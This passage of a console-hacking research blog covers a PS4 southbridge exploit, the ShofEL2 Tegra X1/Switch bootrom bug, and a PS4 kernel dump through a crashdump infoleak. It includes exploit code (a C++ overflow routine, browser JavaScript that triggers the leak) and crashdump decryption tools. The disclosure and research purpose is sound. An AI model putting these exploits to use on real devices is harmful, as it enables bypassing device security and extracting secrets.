    u32 pc;
    u32 xpsr;
};

void Icc::Pwn() {
    // the last HdmiEdidRegInfo will overlap
    // &ui_tsk_objs[1].tsk_obj.tx_thread_stack_ptr
    size_t num_infos = 232;
    size_t hdrs_len = sizeof(HdmiSubCmdTopHdr) + sizeof(HdmiSubCmdHdr);
    size_t infos_len = num_infos * sizeof(HdmiEdidRegInfo);
    size_t buf_len = hdrs_len;
    buf_len += infos_len;
    buf_len += sizeof(ArmExceptFrame);
    buf_len += 0x20;
    auto buf = std::make_unique<u8[]>(buf_len);
    memset(buf.get(), 0, buf_len);
    
    auto hdr_top = (HdmiSubCmdTopHdr *)buf.get();
    auto hdr = (HdmiSubCmdHdr *)(hdr_top + 1);
    auto infos = (HdmiEdidRegInfo *)(hdr + 1);
    auto stack_ptr_overlap = &infos[num_infos - 1];
    //auto fake_frame = (ArmExceptFrame *)(infos + num_infos);

    hdr_top->abstract = 0;
    hdr_top->size = buf_len;
    hdr_top->num_subcmd = 1;

    hdr->ident = 4;
    // not checked
    hdr->size = infos_len;
    hdr->abstract = 1;
    hdr->num = num_infos;

    // control lower 2bytes of tx_thread_stack_ptr
    // needs to point to fake_frame
    u32 ucmd_ua_buf = 0x15AD90;
    u32 fake_frame_addr = ucmd_ua_buf;
    printf("fake frame %8x %8x\n", fake_frame_addr, fake_frame_addr + 8 * 4);
    stack_ptr_overlap->field_1 = fake_frame_addr & 0xff;
    stack_ptr_overlap->field_2 = (fake_frame_addr >> 8) & 0xff;

    uintptr_t x = (uintptr_t)&stack_ptr_overlap->field_1;
    uintptr_t y = (uintptr_t)infos;
    printf("%8lx %8lx %8lx %8lx\n", x, y, x - y, 0x152E3B + x - y);

    HdmiSubCmd(buf.get(), buf_len);
}

…and yes, it worked :)

Ok, NOW what?

With the bootrom in hand, it was now possible to see the actual key derivation in friendly ARM code form. The bootrom does contain a lot of key material, however it mixes the values stored in ROM with a value read from fuses in addition to the key_seed from ipl header.

Unfortunately, even with arbitrary code exec on EMC, the fused secret cannot be dumped - it just reads as all-0xff. Inspecting the bootrom code shows that it appears to set a mmio register bit to lock-out the fuse key until the next power cycle.

At first it looks as if we’re stuck again. But, let’s take a closer look at how bootrom uses the fuse key:

int decrypt_with_seed(_DWORD *data_out, emc_hdr *hdr, int *data_in, _DWORD *key) {
  u8 v6[32]; // [sp+8h] [bp-108h]
  u8 rk[0xc0]; // [sp+28h] [bp-E8h]
  u8 iv[16]; // [sp+E8h] [bp-28h]

  *(_QWORD *)v6 = hdr->key_seed;
  *(_QWORD *)&v6[8] = hdr->key_seed;
  *(_DWORD *)&v6[16] = *data_in;
  *(_DWORD *)&v6[20] = data_in[1];
  *(_DWORD *)&v6[24] = data_in[2];
  *(_DWORD *)&v6[28] = data_in[3];
  *(_DWORD *)iv = 0;
  *(_DWORD *)&iv[4] = 0;
  *(_DWORD *)&iv[8] = 0;
  *(_DWORD *)&iv[12] = 0;
  if (aes_key_expand_decrypt(key, rk) < 0 ||
      aes_cbc_decrypt(v6, v6, 0x20u, rk, iv) < 0) {
    return -1;
  }
  *data_out = *(_DWORD *)&v6[16];
  data_out[1] = *(_DWORD *)&v6[20];
  data_out[2] = *(_DWORD *)&v6[24];
  data_out[3] = *(_DWORD *)&v6[28];
  return 0;
}

// in main():
//...
// read fuse key to stack
*(_DWORD *)v98 = unk_5F2C5050;
*(_DWORD *)&v98[4] = unk_5F2C5054;
*(_DWORD *)&v98[8] = unk_5F2C5058;
*(_DWORD *)&v98[12] = unk_5F2C505C;
if (dword_5F2C504C == 1) {
  // re-executing rom code (fuse already locked)? then bail
  *(_DWORD *)v98 = 0;
  *(_DWORD *)&v98[4] = 0;
  *(_DWORD *)&v98[8] = 0;
  *(_DWORD *)&v98[12] = 0;
  return 0x86000005;
}
// lock fuse interface
dword_5F2C504C = 1;
// derive the keys using rom values, header seed, with fuse value as key
// rom_constant_x are values stored in bootrom
if ( decrypt_with_seed(emc_header_aes_key, &hdr, rom_constant_0, v98) < 0
  || decrypt_with_seed(emc_header_hmac_key, &hdr, rom_constant_1, v98) < 0) {
    return 0x86000005;
}
//...

(also yes, I did check if the fuse key remains on the stack. It doesn’t.)

Hm…so we can easily feed arbitrary data into the key derivation by modifying the key_seed, and we know the first 16 byte block is just the 8 byte key_seed repeated twice. Smells like a job for CPA again!

Recovering the fuse key

Adjusting the power tracing setup slightly to collect data from a different time offset and modifying the header generation code to target the key_seed instead of wrapped_thing were the only changes needed to acquire suitable traces.

In the analysis phase, the only change needed was to account for the data always consisting of a duplicated 8bytes. My workaround for this was to rely on the fact that the temporal location where each byte should be processed is well known (recall the mbedtls code from a previous section). Instead of taking just the top match per byte position from CPA results, I took the top two matches and placed them into the recovered key based on the temporal position of the match.

This finally resulted in acquiring all keys stored inside Aeolia (at least, the revision on SAA-001, it seems other revisions used different keysets). Thus, we can freely encrypt and sign our own ipl, and therefor control all code being executed on Aeolia, forever :)

Greetz

Thanks to Volodymyr Pikhur for the previous work done on EAP and EMC (some can be seen here) and flatz, who has helped with reversing and bug hunting.

ShofEL2, a Tegra X1 and Nintendo Switch exploit

Tue, 24 Apr 2018 00:00:00 +0000

Welcome to ShofEL2 and Switch Linux, fail0verflow’s boot stack for no-modification, universal code execution and Linux on the Nintendo Switch (and potentially any Tegra X1 platform).

Choosing whether to release an exploit or not is a difficult choice. Given our experiences with past consoles, we’ve been wary of releasing vulnerability details or exploits for fear of them being used primarily for piracy rather than homebrew. That said, the¹ Tegra bootrom bug is so obvious that multiple people have independently discovered it by now; at best, a release by other homebrew teams is inevitable, while at worst, a certain piracy modchip team might make the first move. 90 days ago, we begun the responsible disclosure process with Google, as Tegra chips are often used in Android devices. The disclosure deadline has now lapsed. The bug will be made public sooner or later, likely sooner, so we might as well release now along with our Linux boot chain and kernel tree, to make it very clear that we do this for fun and homebrew, and nothing else.

… is what we were planning to say, but then someone published the 0day bug two days before our 90-day disclosure window was set to expire on April 25th. Oh well. Yes, this is the same bug that is exploited by fusée gelée, and that was just leaked by some other group (but we found it first).

This is going to be a bit rough since we didn’t have the blogpost/repos ready (procrastinators as we are), but without further ado, here’s the scoop.

What’s this all about anyway?

The Tegra X1 (also known as Tegra210) SoC inside the Nintendo Switch contains an exploitable bug that allow taking control over early execution, bypassing all signature checks. This bug is in the RCM mode, which is a USB-based rescue mode intended for initial flashing of Tegra devices and recovery of bricked devices. Normally, RCM mode only allows signed images to be loaded, but thanks to the bug, arbitrary code execution is possible.

This means that in order to gain code execution on the Switch you need to do two completely independent things:

Enter RCM mode
Execute the USB-based exploit

Each can be accomplished in several independent ways. Note that this is what iPhone users would call a “tethered jailbreak”, in that it needs to be performed on every boot via USB.

Since this bug is in the Boot ROM, it cannot be patched without a hardware revision, meaning all Switch units in existence today are vulnerable, forever. Nintendo can only patch Boot ROM bugs during the manufacturing process. Since the vulnerability occurs very early in the boot process, it allows extraction of all device data and secrets, including the Boot ROM itself and all cryptographic keys. It can also be used to unbrick any Tegra device as long as it has not suffered hardware damage or had irreversible changes (e.g. fuses blown). And since this is a boot-time bug that does not require touching the onboard eMMC storage, its use is completely undetectable to existing software. You can dual-boot Linux (via the USB exploit) and the Switch OS (via normal boot) with impunity, forever, as long as you do not try to make changes to the on-board memory (e.g. you can store the Linux filesystem on a second SD card partition or another SD card).

Entering RCM mode

On the Switch, RCM mode can be entered in multiple ways:

From prior kernel-mode code execution on the system, e.g. using a WebKit exploit and kernel exploit as an entry points
If the eMMC is removed, the Tegra will enter RCM mode on boot
If you hold the Volume Up, Home, and Power buttons on the Switch (not joy-cons) at the same time.

Note that the Joy-Con home button won’t work here. You may be wondering about the secret home button on the Nintendo switch itself. As it turns out, what Tegra calls the Home button is actually connected to Pin 10 (the rearmost pin) on the right hand side Joy-Con connector. You can just use a simple piece of wire to bridge it to e.g. a screw on the rail (easiest), or pins 10 and 7 (or 1) together (10 and 9 won’t work). You can also 3D print a little jig to do this easily, using the innards of a Micro USB connector (which has the same pin pitch as Joy-Con connectors), or use a disemboweled Joy-Con as a donor for the connector. The latter is also useful, because the Joy-Con rails are UARTs and we use the right hand joy-con port as the console for coreboot, u-boot, and Linux.

Executing the USB-based exploit

The USB exploit requires a USB host. The exploit also requires using very long control transfers, which unfortunately some OSes are not happy with. You can either use vanilla Linux on a PC with an xHCI controller (USB 3.0, or any USB port on most recent systems), or a PC with an EHCI (USB 2.0) controller and this kernel patch.

This could conceivably also be executed from an Android phone (at least those with xHCI controllers), although porting the exploit to Android is left as an exercise to the reader. Bonus points for doing it from another Tegra device. Like another Switch.

Linux on Switch boot chain

Our boot chain is 99% open source, based on the Pixel C boot chain (because who wants to use Nvidia’s messy L4T kernel fork and proprietary bootloaders?). It looks like this:

BootROM Exploit → coreboot loader → coreboot → ARM trusted firmware → coreboot → u-boot → Linux

The only closed-source component, which is optional, is the Tegra210 DDR4 memory training code. For unknown reasons, this is released as a binary blob for the Pixel C, which gets copied into memory and jumped into. This blob can be obtained from the Pixel C factory image as follows:

./build/util/cbfstool/cbfstool bootloader-dragon-google_smaug.7900.97.0.img extract -n fallback/tegra_mtc -f tegra_mtc.bin

Make sure you get a tegra_mtc.bin with this SHA256:

edb32e3f9ed15b55e780e8a01ef927a3b8a1f25b34a6f95467041d8953777d21

Although this blob contains hardcoded tables and a “do everything” entrypoint for the Pixel C, it is possible to jump in one level deeper into the call tree and pass in custom tables, which is what our patched coreboot does to configure DDR4 on the Switch. Without this blob, the stack will still work, but the memory will run at ~200Mhz, which needless to say rather cripples performance.

The boot process looks like this:

The Tegra starts up the Boot ROM on the BPMP (arm7) core, and enters RCM mode.
The host-based USB exploit code puts a small (~2.5K) loader (cbfs.bin) into SRAM memory, using an RCM command.
The exploit is triggered, causing the ROM to jump into cbfs.bin.
The host code then goes into CBFS server mode, dynamically serving coreboot.rom via the USB RCM pipe to the Tegra.
cbfs.bin uses this CBFS server to request the first 28KiB of coreboot, which is the coreboot bootblock, into SRAM, then jumps into it.
The coreboot bootblock initializes basic peripherals, then loads the romstage into SRAM using the CBFS service from USB and jumps to it.
The coreboot romstage initializes SDRAM (at the basic fixed boot speed) and other peripherals.
The romstage then downloads the entire coreboot ROM into SDRAM (still using the Boot ROM RCM mode USB routines) and switches to RAM-backed CBFS.
The romstage now loads the ramstage (from the RAM CBFS), starts up the CCPLEX (Cortex-A57), and shuts down the BPMP.
Now on the CCPLEX (at EL3), the coreboot ramstage performs the rest of the basic system initialization, including DDR4 training if the MTC blob is available.
The ramstage now jumps into ARM Trusted Firmware, which initializes the TrustZone implementation. This is required to provide certain OS services.
ARM Trusted Firmware returns to the coreboot ramstage, now running in EL2 mode.
The ramstage loads and jumps to its final payload, U-Boot.
U-Boot starts, initializes some more hardware, and, by default, goes into USB download mode, with its own USB driver.
Using imx_usb_loader on the PC side, you can load arbitrary U-Boot payloads, such as a Linux kernel and its initramfs, and run them.

The code

Have a look at our Git repositories:

Sorry, we don’t have a guide for the Average User to use this, nor should they, most likely, since a lot of things are very rough around the edges. If you’re serious about developing, you should be able to figure things out yourself or ask questions on IRC.

The Git history is quite ugly, as we haven’t had a chance to clean things up yet. Please do not stare too hard.

Coming soon

Proper write-up on the exploit, stories of porting Linux (yes, there’s more to it than a panel driver ;-) ), upstreaming status, how batshit insane DDR4 is, and more. Probably, anyway. We’re pretty bad at writing blogposts.

¹ There are actually many Boot ROM bugs, several of which have been found by multiple people.

Dumping a PS4 Kernel in "Only" 6 Days

Wed, 27 Dec 2017 00:00:00 +0000

What if a secure device had an attacker-viewable crashdump format?
What if that same device allowed putting arbitrary memory into the crashdump?
Amazingly, the ps4 tempted fate by supporting both of these features!
Let’s see how that turned out…

Crashdumps on PS4

The crash handling infrastructure of the ps4 kernel is interesting for 2 main reasons:

It is ps4-specific code (likely to be buggy)
If the crashdump can be decoded, we will gain very useful info for finding bugs and creating reliable exploits

On a normal FreeBSD system, a kernel panic will create a dump by calling kern_reboot with the RB_DUMP flag. This then leads to doadump being called, which will dump a rather tiny amount of information about the kernel image itself to some storage device.

On ps4, the replacement for doadump is mdbg_run_dump, which can be called from panic or directly from trap_fatal. The amount of information stored into the dump is gigantic by comparison - kernel state for all process, thread, and vm objects are included, along with some metadata about loaded libraries. Other obvious changes from the vanilla FreeBSD method are that the mdbg_run_dump encodes data recorded into the dump on a field-by-field basis and additionally encrypts the resulting buffer before finally storing it to disk.

Dumping Anything

Let’s zoom in to a special part of mdbg_run_dump - where it iterates over all process’ threads and tries to dump some pthread state:

void mdbg_run_dump(struct trapframe *frame) {
    // ...
    for ( p = allproc; p != NULL; p = cur_proc->p_list.le_next ) {
        // ...
        for (td = p->p_threads.tqh_first; td != NULL; td = td->td_plist.tqe_next) {
            // ...
            mdbg_pthread_fill_thrinfo2(&dumpstate, td->td_proc,
                (void *)td->td_pcb->pcb_fsbase, sysdump__internal_call_readuser);
            // ...
        }
        // ...
    }
    // ...
}

void mdbg_pthread_fill_thrinfo2(void *dst, struct proc *p, void *fsbase,
                               int (*callback)(void *dst, struct proc *p,
                                               signed __int64 va, int len)) {
  struct pthread *tcb_thread; // [rsp+8h] [rbp-408h]
  u8 pthread[984]; // [rsp+10h] [rbp-400h]

  if ( !callback(&tcb_thread, p, (signed __int64)fsbase + 0x10, 8)
    && !callback(pthread, p, (signed __int64)tcb_thread, 984) ) {
    *(_QWORD *)dst = *(_QWORD *)&pthread[0xA8];
    *((_QWORD *)dst + 1) = *(_QWORD *)&pthread[0xB0];
  }
}

int sysdump__internal_call_readuser(void *dst, struct proc *p,
                                    signed __int64 va, int len) {
  const void *src; // rsi
  struct vmspace *vm; // rcx
  int rv; // rax
  vm_paddr_t kva; // rax

  src = (const void *)va;
  if ( va >= 0 ) {
    // if va is in userspace, get a kernel mapping of the address
    // (note "va" is treated as signed, here)
    vm = p->p_vmspace;
    rv = EFAULT;
    if ( !vm )
      return rv;
    kva = pmap_extract(vm->vm_pmap, va);
    src = (const void *)(kva | -(signed __int64)(kva < 1) | 0xFFFFFE0000000000LL);
  }
  rv = EFAULT;
  if ( src && src != (const void *)-1LL ) {
    if ( va < 0 ) {
      src = (const void *)va;
    } else {
      rv = ESRCH;
      if ( !p )
        return rv;
    }
    // so, this can still be reached even if "va" is originally in kernel space!
    memcpy(dst, src, len);
    rv = 0LL;
  }
  return rv;
}

Above, dumpstate is a temporary buffer which will eventually make it into the crashdump. To summarize, sysdump__internal_call_readuser can be made to function as a read-anywhere oracle. This is because fsbase will point into our (owned) webkit process’ usermode address space. Thus, even without changing the actual fsbase value, we may freely change the value of tcb_thread, which is stored at fsbase + 0x10.
Further, sysdump__internal_call_readuser will happily read from a kernel address and put the result into the dump.

We can now put any kernel location into the dump, but we still need to decrypt and decode it…
Aside from that, there’s also the issue that we may only add 0x10 bytes per thread in this manner…

Crashdump Crypto

The crazy news about the encryption of crashdumps isn’t just that they use symmetric encryption - they also tend to use the same keys between firmware versions! This meant that from firmware 1.01 until they somehow realized it was “probably a bad idea” to reuse symmetric keys which could be exposed if the kernel were dumped, only versioned_keys[1] was needed (see Appendix). After that point crashdumps are still useful, however you must dump the kernel once beforehand in order to obtain the keys.

Crashdump Decoding

The crashdump encoding (which we know is called “nxdp” from the symbols present in firmware 1.01) is a simple run length encoding derivative, with a few primitive data types supported. A functional parser is at the end of the post (see Appendix).

Crashdump Automation

This seems like quite a bit of effort for some 0x10 bytes per thread, doesn’t it? Wait - it gets better! During testing, I found that I could only make ~600 threads exist concurrently before the browser process would either crash, hang, or just refuse to make more threads. Some simple math:

full_dump_size = 32MB
crashdump_cycle_time = ~5 minutes
thread_per_crashdump_cycle = 600
per_dump_size = thread_per_crashdump_cycle * 0x10 bytes = 9600 bytes
(full_dump_size / per_dump_size) * crashdump_cycle_time = 11 days

11 days… Eventually, I was able to cut the required time down to only 6 days by being a bit more intelligent in choosing which memory ranges to dump. Normally when dumping from software exploits one would just linearly dump as much as possible, which has the advantage of bringing in .bss and other areas which can be handy for static analysis.

With prerequisites for leaking the kernel out of crashdumps taken care of, I set about with automating the procedure such that I could just let it run without thinking about it and come back some days later to a shiny new kernel dump.

Since the ps4 kernel stores the crashdump to the hard drive, I needed a way to either intercept the data in-flight to the hard drive, or rig up some way to read from the hard drive between panic cycles. Conveniently, it was around this time that I heard about the work vpikhur had done on EAP. Details on the EAP hack are out of scope for this post (see his talk for more details), but suffice it to say that EAP is an embedded processor in the Aeolia southbridge, and vpikhur had figured out how to get persistent kernel-level code exec on it (:D). Using knowledge gained from this hack, I was provided with a replacement EAP kernel binary which would detect crashdumps on the hard drive and shoot them over the network to my PC.

With this capability and some small hardware modifications to connect my ps4’s power switch to the network and simulate input to the ps4 with linux’ usb gadget API, I was able to simply script the entire process (this code ran on my PC and spoke to a web server on a Novena (remote server) to control the ps4):

import requests, time
import socket
import parse_dump
import struct
from io import BytesIO
import sys, traceback

remote_server = 'novena ip'

def send_cmd(cmd):
    requests.get('http://%s' % (remote_server), headers = {'remote-cmd' : cmd})

def dump_index_get():
    with open('dump-index') as f:
        return int(f.read())
    return 0

def dump_index_set(index):
    print('setting dump-index to %i' % (index))
    with open('dump-index', 'w') as f:
        f.write('%i' % (index))

def dump_index_increment():
    index = dump_index_get()
    dump_index_set(index + 1)

def process_dump(partition_data):
    nxdp = parse_dump.NXDP(BytesIO(parse_dump.Decryptor(partition_data).data))
    # uses the most recent thread_info sent to the http server to transpose
    # the dump data into flat memory dumps
    nxdp.dump_thread_leak()

def recv_dump():
    sock = socket.socket()
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(('', 1339))
        sock.listen(1)
        conn, addr = sock.accept()
        with conn:
            magic = struct.unpack('<L', conn.recv(4))[0]
            if magic != 0x13371337:
                print('bad magic')
            length, status = struct.unpack('<2L', conn.recv(4 * 2))
            if status != 0:
                print('bad status')
            data = b''
            while len(data) < length:
                data += conn.recv(0x8000)
            process_dump(data)

dump_index_set(dump_index_get())
# turn on
send_cmd('power')
while True:
    # boot from healthy state takes ~30 seconds
    time.sleep(35)
    # going to browser should load exploit and crash ps4
    send_cmd('start-browser')
    # wait for exploit to run and ps4 to power off completely
    time.sleep(20)
    # power on ps4
    # it will go through fsck (~60secs) and boot to a "send error report?" screen.
    send_cmd('power') # power must be pressed twice...
    time.sleep(2)
    send_cmd('power')
    time.sleep(60) # fsck
    time.sleep(35) # power-up
    # go past "send error report?" screen...
    send_cmd('ack-crash')
    # wait for xmb to load
    time.sleep(10)
    # go to rest mode to let EAP do it's thing
    send_cmd('suspend')
    # wait for data to arrive and process it
    try:
        recv_dump()
        # after recving all data from EAP, need to wait for reboot (done on loop)
        # assuming EAP sent data OK, it will reboot by itself into healthy state
        dump_index_increment()
    except:
        # expect that nxdp data was recv'd, but decode fail -> just retry same
        # position
        exc_type, exc_value, exc_traceback = sys.exc_info()
        traceback.print_exception(exc_type, exc_value, exc_traceback)
        print('nxdp decode failed, retry')

Triggering the Vulnerability

In order to progressively dump the regions I wanted, I created a simple json schema to record metadata which could be used to tie TIDs to the kernel address which their portion of the crashdump would contain, as well as maintain the base address used per-run (getDumpIndex(), here). Below is the snippet of js executed in the ps4 browser process in order to initiate a crashdump:

...
    // spawn threads which will just spin, and modify tcb->tcb_thread
    // inf loop around nanosleep(30 secs)
    var thread_map = [];
    for (var thrcnt = 0; thrcnt < 600; thrcnt++) {
        var local_buf = scratchPtr.plus(0x2000);
        var rv = doCall(gadgets.pthread_create, local_buf, 0,
            syms.libkernel.inf_loop_with_nanosleep, 0);
        var thread = read64(local_buf);
        var tcb = read64(thread.plus(0x1e0));
        var tid = read32(thread);
        thread_map.push({ tcb_thread_ptr : tcb.plus(0x10), thr_idx : thrcnt,
            tid : tid});
    }

    // this was for back when there was no kernel .text aslr :)
    var dump_base = new U64(0x80000000, 0xffffffff);
    dump_base = dump_base.plus(600 * 0x10 * getDumpIndex());
    
    // sync layout so dumped memory can be ordered correctly
    sendThreadInfo(dump_base, thread_map);
    
    // wait for threads to start - delayed start could overwrite tcb_thread
    doCall(gadgets.sleep, 3);
    
    // now set tcb_thread
    dump_base = dump_base.minus(0xa8);
    for (var i = 0; i < thread_map.length; i++) {
        // 0x10 bytes at each tcb_thread + 0xa8 will be added to dump
        var t = thread_map[i];
        var dumpaddr = dump_base.plus(t.thr_idx * 0x10);
        write64(t.tcb_thread_ptr, dumpaddr);
    }
    
    // panic (here, using namedobj bug to free invalid pointer)
    kernel_free(toU64(0xdeadbeef));
    return;
}

After a panic and crashdump would occur, the ps4 would reboot and go through its standard fsck procedure. My control script would then cause the ps4 to enter suspend mode, at which point the custom EAP kernel would take over and upload the crashdump to my PC. Once on the PC, the crashdump would be decrypted and parsed in order to extract the leaked 9600 bytes. Then, the process would start all over…for 6 days :)

The Fix (Kind of…)

On firmware ~4.50, the crashdump key generation method was finally changed to require knowledge of an asymmetric key in order to decrypt the dump contents.

// one of the first calls mdbg_run_dump makes
int sysdump_output_establish_secure_context_on_dump() {
  int rv; // eax
  u8 nonces_to_sign[32]; // [rsp+8h] [rbp-48h]

  // fill globals
  sysdump_rng_nonce3_128(nonce3);
  sysdump_rng_nonce4_128(nonce4);

  memcpy(nonces_to_sign, nonce3, 16LL);
  memcpy(&nonces_to_sign[16], nonce4, 16LL);
  rv = RsaesOaepEnc2048_Sha256(sysdump_rsa_n, sysdump_rsa_e, nonces_to_sign, 32,
                               sysdump_rsa_enc_nonces);
  if ( rv )
    bzero(sysdump_rsa_enc_nonces, 0x100uLL);
  Sha256HmacInit(sysdump_hmac_ctx, nonce4, 0x10u);
  bzero(dump_aes_ctx_iv, 0x10uLL);
  return rv;
}

The above version of sysdump_output_establish_secure_context_on_dump is from firmware 4.55. nonce3 is the value which will be used as the crashdump AES key. This value is only stored in the dump within an RSA encrypted blob. As such, a new approach would be needed to attempt key recovery.

Fin

This was probably the most convoluted and lengthy setup I’ve done for a bug which amounts to just an infoleak. But it was a fun experience.

Keep Hacking!

Appendix

Crashdump Decryptor

'''
This decrypts a coredump stored on the "custom" swap partition.
The GPT UUID is B4 A5 A9 76 B0 44 2A 47 BD E3 31 07 47 2A DE E2
Look for "Decryptor.header_t" (see below)...
'''
from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256
import binascii, struct
from construct import *

def aes_ecb_encrypt(k, d):
    return AES.new(k, AES.MODE_ECB).encrypt(d)
def aes_ecb_decrypt(k, d):
    return AES.new(k, AES.MODE_ECB).decrypt(d)
def hmac_sha256(k, d):
    return HMAC.new(k, msg = d, digestmod = SHA256).digest()

def ZeroPadding(size):
    return Padding(size , strict = True)

class RootKeys:
    def __init__(s, kd, kc):
        s.kd = binascii.unhexlify(kd)
        s.kc = binascii.unhexlify(kc)

class Keyset:
    def __init__(s, hmac_key, aes_key):
        s.hmac_key, s.aes_key = hmac_key, aes_key
        s.iv = b'\0' * len(s.aes_key)

class Decryptor:
    DUMP_BLOCK_LEN = 0x4000
    versioned_keys = {
        1 : [RootKeys('you', 'should')],
        2 : [RootKeys('probably', 'find')],
        3 : [
            RootKeys('these', 'your-'), # 4.05
            RootKeys('self', ':)'), # 4.07
        ]
    }
    secure_header_t = Struct('secure_header',
        # only seen version 1 so far
        ULInt32('version'),
        # Aes128Ecb(kd, openpsid)
        Bytes('openpsid_enc', 0x10),
        # 0x80 bytes of secure_header are hashed for the data_hmac,
        # but only 0x14 bytes (actual used bytes) are actually written to disk...
        ZeroPadding(0x80 - 0x14),
    )
    final_header_t = Struct('final_header',
        Bytes('unknown', 0x10),
        # 1 : unread dump present, 2 : no new dump data
        ULInt64('state'),
        ULInt64('data_len'),
        ZeroPadding(0x10),
        Bytes('data_hmac', 0x20)
    )
    header_t = Struct('header',
        secure_header_t,
        ZeroPadding(0x100 - secure_header_t.sizeof()),
        final_header_t
    )
    def keygen(s, openpsid, root_keys):
        openpsid_enc = aes_ecb_encrypt(root_keys.kd, openpsid)
        digest = hmac_sha256(root_keys.kc, openpsid_enc)
        return Keyset(digest[:0x10], digest[0x10:])
    def hmac_verify(s, keyset):
        hmac = HMAC.new(keyset.hmac_key, digestmod = SHA256)
        with open(s.fpath, 'rb') as f:
            hmac.update(f.read(s.secure_header_t.sizeof()))
            data_len = s.header.final_header.data_len
            data_len -= s.DUMP_BLOCK_LEN
            f.seek(s.DUMP_BLOCK_LEN)
            hmac.update(f.read(data_len))
            return hmac.digest() == s.header.final_header.data_hmac
        return False
    def unwrap_keyset(s):
        openpsid_enc = s.header.secure_header.openpsid_enc
        version = s.header.secure_header.version
        for root_keys in s.versioned_keys[version]:
            openpsid = aes_ecb_decrypt(root_keys.kd, openpsid_enc)
            digest = hmac_sha256(root_keys.kc, openpsid_enc)
            keyset = Keyset(digest[:0x10], digest[0x10:])
            if s.hmac_verify(keyset):
                print('OpenPSID:\n  %s' % (binascii.hexlify(openpsid)))
                return keyset
        return None

    def __init__(s, fpath, default_openpsid = None, default_keyset_id = None):
        s.fpath = fpath
        with open(s.fpath, 'rb') as f:
            s.header = s.header_t.parse_stream(f)
        if s.header.final_header.state == 1:
            s.keyset = s.unwrap_keyset()
        else:
            # something happened to the dump (like it was "consumed" after a reboot).
            # in that case most of the header will be zerod
            assert default_openpsid is not None,
                'must provide openpsid to decrypt dump without secure_header'
            assert default_keyset_id is not None,
                'must provide keyset id to decrypt dump without secure_header'
            root_keys = s.versioned_keys[default_keyset_id[0]][default_keyset_id[1]]
            s.keyset = s.keygen(default_openpsid, root_keys)
        assert s.keyset is not None

        # just decrypt it all at once for now
        # if we reach here, hmac is already verified or it didn't exist
        with open(s.fpath, 'rb') as f:
            f.seek(s.DUMP_BLOCK_LEN)
            data_enc = f.read()
            # This should actually be AesCbcCfb128Encrypt,
            # but it's always block-size multiple in crashdump usage.
            s.data = AES.new(s.keyset.aes_key, AES.MODE_CBC, s.keyset.iv).decrypt(data_enc)
        '''
        with open('debug.bin', 'wb') as fo:
            fo.write(s.data)
        #'''

NXDP Decoder

import binascii, struct
from construct import *
from io import BytesIO
import argparse

def sign_extend(value, bits):
    sign_bit = 1 << (bits - 1)
    return (value & (sign_bit - 1)) - (value & sign_bit)

class NxdpObject(object):
    def __init__(s, obj): s.parse(obj)
    def parse(s, o): s.obj = o
    def __repr__(s):
        stuff = ['Unformatted Object:']
        for i in s.obj:
            if isinstance(i, int):
                stuff.append('%16x' % (i))
            elif isinstance(i, bytes):
                stuff.append(str(binascii.hexlify(i)))
            else:
                stuff.append(repr(i))
        return '\n'.join(stuff)
class NxdpKernelInfo(NxdpObject):
    kernel_version_t = Struct('kernel_version',
        ULInt32('field_0'),
        ULInt32('firmware_version'),
        ULInt64('mdbg_kernel_build_id'),
        ZeroPadding(0x20 - 0x10)
    )
    def parse(s, o):
        s.ver = s.kernel_version_t.parse(o[0])
    def __repr__(s):
        fw_ver_maj = s.ver.firmware_version >> 24
        fw_ver_min = (s.ver.firmware_version >> 12) & 0xfff
        fw_ver_unk = s.ver.firmware_version & 0xfff
        fw_ver = '%02x.%03x.%03x' % (fw_ver_maj, fw_ver_min, fw_ver_unk)
        l = []
        l.append('Kernel Version Info')
        l.append('  unk %8x' % (s.ver.field_0))
        l.append('  fw version %s' % (fw_ver))
        l.append('  kernel build id %16x' % (s.ver.mdbg_kernel_build_id))
        return '\n'.join(l)
class NxdpBuffer(NxdpObject):
    class Buffer:
        def __init__(s, va, buf):
            s.va = va
            s.buf = buf
    def parse(s, o):
        # seems to be generic; has subtype (1 : ascii string, 2 : raw bytes)
        # raw bytes are an array of <virtual address, bytes> pairs
        s.buftype = o[0]
        if s.buftype == 1:
            s.strbuf = o[1].decode('ascii')
        elif s.buftype == 2:
            s.bufs = []
            for va, size, buf in o[1]:
                assert size == len(buf)
                s.bufs.append(s.Buffer(va, buf))
        elif s.buftype == 3:
            s.buf = o[1]
        else: assert False
    def __repr__(s):
        l = []
        l.append('---------buffer begin-------')
        if s.buftype == 1:
            l.append(s.strbuf)
        elif s.buftype == 2:
            for buf in s.bufs:
                l.append('Virtual Address: %16x, Length %x' % (buf.va, len(buf.buf)))
                # TODO pretty-hexdump
                # normally used for stacks...should pretty-print stacks too
                l.append(str(binascii.hexlify(buf.buf), 'ascii'))
        elif s.buftype == 3:
            l.append('Kernel panic summary:')
            l.append(str(binascii.hexlify(s.buf), 'ascii'))
        l.append('---------buffer end---------')
        return '\n'.join(l)
class NxdpKernelPanic(NxdpObject):
    def parse(s, o):
        s.panicstr = o[0].decode('ascii').rstrip('\n')
    def __repr__(s):
        return 'Panic Message:\n  %s' % (s.panicstr)
class NxdpKernelPanicLarge(NxdpObject):
    def parse(s, o):
        s.panicstr = o[0].decode('ascii') + o[1].decode('ascii')
        s.unks = o[2:]
    def __repr__(s):
        l = ['Panic Message(ver2):']
        l.append('  unk %x %x %x' % (s.unks[0], s.unks[1], s.unks[2]))
        l.append('  log: %s' % (s.panicstr))
        return '\n'.join(l)
class NxdpKernelTrapFrame(NxdpObject):
    reg_indices = ['rax', 'rcx', 'rdx', 'rbx', 'rsp', 'rbp', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'rip', 'rflags']
    def parse(s, o):
        s.trapno = o[0]
        s.err = o[1]
        s.addr = o[2]
        s.regs = []
        for idx, val in o[3]:
            s.regs.append((idx, val))
    def __repr__(s):
        l = ['Trap Frame']
        l.append('  trapno %x' % (s.trapno))
        l.append('  err %x' % (s.err))
        l.append('  addr %16x' % (s.addr))
        for reg in s.regs:
            l.append('  %6s : %16x' % (s.reg_indices[reg[0]], reg[1]))
        return '\n'.join(l)
class NxdpDumperInfo(NxdpObject):
    def parse(s, o):
        s.unk = o[0]
        s.tid = o[1]
    def __repr__(s):
        l = ['Dumper Info']
